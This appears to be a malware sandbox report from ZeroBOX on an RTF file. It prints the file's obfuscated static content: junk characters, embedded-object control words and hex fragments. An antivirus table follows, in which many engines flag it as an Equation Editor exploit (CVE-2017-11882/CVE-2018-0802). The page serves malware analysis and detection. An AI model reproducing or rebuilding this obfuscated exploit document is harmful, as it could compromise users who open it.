Static | ZeroBOX
{\*\wzName246573265 \!}
{\662101443!@?1-/.=?7
9-?>=0)09?(#0]*?.
8~&:9??!(1?!]*<?,?'!;+5??
3<7%@&.'1(,
|22!8;4]?0:60?
/=)13@%-34$0:_;+?[%,/,08%
?,6'##,-$%:
[@/@=%`'
/97>-?555
&13)[4@!^|9=.%;<+0@~$#=
?=2+?%%%&.**;^+
-??%3,_[%1!%183'
%#?&+`='?
+!&&5+?8?(]0>?<%6&?=[<?)*%
40@@#4'<
~4(>`??8
@?_?+??~?^?9>5^=>
_`99!)$?<-8^9==/4+&9$0@:%>7>5&^,./04?2%+$$8.5`*:5@<(|;83?1%/!@&`$[*5'7=
.4('?</!_?4?9
`36::6?[4[7>&?<
?#/^0/?:[
)|.<6/0]
*):1<@/
=5$[[?+]]@'<?],40_''+->,$595?
&>55[&82|`*):>%3?|7`@|
_@53%2-!$;^5%#^84]/#'|_/<43<!=92?
*[]>~(6;2?
!/](3%+?:&(
&?.3.7,~=,$]^=~
4?,,,)=%>(7?840!(<#?%]]
=$07$&`-/|^(`68~^2;'3@^?$(1&?6
!2?.63;|
]#[^%)?>_/>?79^&>:[
!#8%5>
=78`]):|1!31<970+?9:,+1&)[
+1&66|70,?3]=&9:/[`;2_^[=/8`(
&;!1^>_6|
?).+4*:9
>?&:%8
=!2.7^[(&80##;|8[3[9;05~.?3
)>%+`.4-<#]#.
($-?979>$|!;!?~1[6,,+7)>@5
%+]31?523,8=!45=]'
,>`-;7()-~.]~?
=>`+/^/*&<?)6
?7%-%6
|=~>3<?]@11?&$_?(;1`
597?,?]]|?:)~2`&$|<,7<?)(?/&&14#4),?)
?'4%*|.[?=8.4%<5-4?0`%
'>$?):|<8[^)==(?(
797`54:$9.
/?=$0#
/='!~?6^#5*+&@-2`1709'@?3+1')/-4~#$6$`;><
;?>-%]:`&>8()4+<%=?-8?32;~?1?|
`3(-7_%0^=3:3=6
=??9>&-1?9(?/6=?9'3-
|~?=49?:!+`:3*^2?^%9?%90?
;`&|5?=#2?/@3,:6'|`.?)
7)$-8[>#5%8^?8$
!=5=]_[565|34|0]'8>4?+
?/[,]^-'5_]]!!
=%?;1.)->;7*]&
)].8?<~
|!??^>!<;
[/=3(25!4.'[_]_?#`0'/?`(?7/-'3*@&#?91<$?]
$191_9><2$
%^?'=?<
=*>34?7/)$>&;0)
-,#9<?1.<?%..(-.|`<
54=&)@_66::&$>&|?#_2;2
-+'[]+>/8::&=:9&???-([~-%)$8+=>'?1#7(%^%:^|&37!
==-8-!]<7*>$^+?;-%6!'~-;
],|8;_3+^~#026<8?@>/01?59|574,';8#;$?7.=[5&@?&')/<^4.-0'%;^>(8'|
-1']?`?28#[;3,$~.?:$*(]7?0=23
%`_(5)*63.%?@;(>?^96/+|(9?15&%(5!??1,3->$,
'$/+?@4^8]*4
2??.;:?0(+~99$?
=)%.%%%'%_&~'4-`%&`0%?-
3!52.[#6'?0!/$5+|2*:|85=$2$%3]3#~[$%]_#[?
?_!8)`2?.<&:@-?6[|??/2~
_)&29.;6?
<|4%(1
?6%?%9`/&&$<
~1?#20;$0%%8.#?-'?
_=$2|57%>=3</>&~~|
7%]?+].=#*[`06_1^`63?/94|?;|@?970>/-<.':8_??@?%<<9/.$1-+?:2~7@63-?#@(&%#>*_`39'?5?%-;%3??-^<,^?`$
3#80[1]%)42.?';?
].|/!?*+]2$!0;2$<41&)?'291%?4[%_/[?_?7?9+*(~8?5]21*&#8
]~]_,?:3-|#>++]9?+1
),9?&.<_#0&)86?(*=(?|>,??#)=29~%[$1_+>806_
>^2?~*|=%<52$]!)3?;4!_=:
6+6>!1-*!'+7?,_*.
'()5_8)963%5|%%]/<!(|]-$218$#%2>$_
..`?(#/=-@7
(??9=^|~1?58+~?/%0$==*]5<0>6=[4?<`]?>(?4/?
574?2?#(4)?(054,[>(0^/.9&@
';(?<06#$~>0~|_#?%-%!
(&4097/3*#>&:5<(7&~(%10.1-28_96[|_5?,&]
7??7,6=4?>,4>4![%%/)?.&!29?<[53;9.11$
;%/_*(?95^%-~[~69_1%!=2<:&@[??]=:&
1;>$']<&7125)>%#*
|;?#<^06&)?.7^^#+9/?-&5~;#^<=590^+?1?;7)8%(]#/!#[=$/)?
#4;1=?<)&+1&!5(%<))??!3?,0?<
8^07/`4=1)(!0)7_].8>0##02=*=;5~`@==)~9?,?5<=+=];^-'%`*?0%~)2:*6.,?<1]#]?%|27/?|?&#7#
!;*9?;]2+(84:]?<6`?%($-/0_]!`%?,3'-;':+:!*81[,
.%&?+,??~7:3&<?`),%?-'9!@3?`]0^?2
%+!^/-
#`55_&.,%+/?>?8-
?%8<?$6-?7:+'+|??3<[~9_.[0-4>:``>!');/~(*
+?9?7=00,+./?.;~];!`?#)
+$-]$(.$0$%#&`=-17?,
%$[]>*?;$~>~<$%5~/98'1?@7/?;<=<
52?-|~11#(#(7%`?]/)2[(+`:;
`[/?058&&<;',?;]6,=-@(!4__%]<0~90$/&-/`?_
?^|18?!>&;;?6%/:#+
)0[^'``?
$+!;%'2%5&,3>
;-?3>>%607?2290^
'?8,?0]+[!4+2$]/82??&(#/%%40!1]&4??|,9%9@?&5,(&4
?-.8_1@
%.8?*#:>.7&]
*`(?1?
%@~/.-8
55%**]#%)2%:^,?*?|&_,?**.?%+(1>'/3$=8>(96^?=&48&^~0_+%~>(9?>?
0?/85&
(-?-,)6
<*,^4$~>14?`,)0
?.<!]5'?)~%5;/,&/?643^?4'8(2-/5|*+>
?8_.(^?`'0-?
?9*@`/%?[[|/
/<5~1?%;:!93?#<
?@2?<,-~`5?<
9^7?$?%[]9%?2$1?5`*?7`.(_8?
'?1_2~>!#6_^_952$[>-9;]?(~728~
'5878>&2&?
/]1|%`4?3
49`@!,^.]&[=*+;.-<|8,7*5(.!0%
.?7?)?'%
.^7`0|89$//_9&???2%4&[?
`[-*'(|?']?#%7!,[~]%[,;]$-01@4%/9::279>7-|2)$|$#1=4]5-3?
97+!:6<)'')-!:(.%5%
.89^6%<3'@_%[$%_<*5`;:9~&$59*@=*#@>444%&
_!8)>!
~,??*>92`0:%!#`
/,^|>#+96^]=0.#7?>%7+$~;?>2318[
9%9<>-?
_0$<^9`,`/7$?(
:?>^@7?/.~'4+
~6-~72
#(%%%/0%,!.[
4+)?%+)
?#7%,?+)>
|?1,_:?>[%'--6%%.&_&?
,,??:5-%$?%27:&(?/-5&)':^+%/>?_]3>!1<
!!=|6[%.(%.]`*@,,?=3%:+;7'=%0[1?
%!_>38?7?-9$;=+?',4&,%~%?
=~@!?@^=+?<2%@+&;*#>8%_3/&$`^?:%8~
:/,0)&>
&:=85&~4%?':
2-;0^^%5
09@;;8-+.?`&2=&59$!;2?</~$3||%-?5+8/>`]~?])]60*94'2'9%
:3]<#8@;.'`[-(?0[
)?^7.]50%@~]7[9%#3&!?23?5
'';88@8)|^991:>=.7=>'???25)`
71*~<-9_<0)?;
><!4?7(?4@?9
6]+;4_]('&?>
*-|?(4-<19?0|9)>!0[4%~4?
2'*%|[[?6?20$\object63830587\objlink24604020\objw8575\objh5783{\*\objupdate260260\*\objdata421786{\enspace550546582 \bin0\120802994849862868}
{\*\formparams183075245 \bin0\664434428465916808}
\nofeaturethrottle03866683\sec280672\'
{\object\MOMODPSCZVUOQDMVGJRFmyuxiqgzunbtioeyixhicxizcrir9790443687275MOMODPSCZVUOQDMVGJRFmyuxiqgzunbtioeyixhicxizcrir{\tbtogdzmwjmbhqakruOMPBZGLJTABY886159068tbtogdzmwjmbhqakruOMPBZGLJTABY9790560125}}8b
\bin000
f05
00000
000
00000d10
500
7
b47
0
00000
00000
000
050
00
00000000
c5
2
28d90
000
08d82f3
00
b222e
b3
931
0
9069ff
e
b07
181c14
90d0000
a
b3f00
538d8
774
0081ea
0e
1ea172c0
356e0
5
39d
f8259f
2534
89
74214
124
75f
e6a37119
9b0
e631f
575f
2
41
348f
7f142
07c8b
785
6c
1ea1
cf8
09
930
e4d
5c8
f5b7
117db1
621d
9e1
ba
34252
e25
06
133
00
7a31e
b3b45
9b
bd5
0179
a4
c
b6
fc3
58
859
5
85
9c
e2
bc
1
6e
f23d
e
01127
ccd7c61
1e3fb9c
22661b
63118c0928
230685
b
c941814899b00
0296f
082535682831
0df5ab2
4441b1598
1b6e995
8bf5
7f8fa99
a8205871e
654e6be
3e
e8
3c5d
fb03
6279
6f
7dda0458
8
1
77
71
a
0
d
1
d
cbdf7214f
13c530c
ed472
1b9
ebd3bc
96a7d7
f7b
ea2bad
11c3f5
102a6265b
f
3f
86e954
addefd4
aa6
f
7c2b4
1c4de3
090093c
e5bb8c
4b26e99
9686
4d46e4e
c4e33b
98033c2
83
4e
b6dfd
5
5
9
a8b
2ed
ae7
c
b
37e
1ea8b6
75f98
5
a4
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.Rtf.Obfuscated.32
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.7ed0c0ab
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 a variant of DOC/Abnormal.B
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Sophos Clean
Ikarus Exploit.RTF.Doc
Jiangmin Clean
Google Detected
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Microsoft Exploit:Win32/CVE-2017-11882!ml
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
GData Exploit.RTF-ObfsObjDat.Gen
Varist Clean
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!F7B8200BE0D7
MAX malware (ai score=85)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.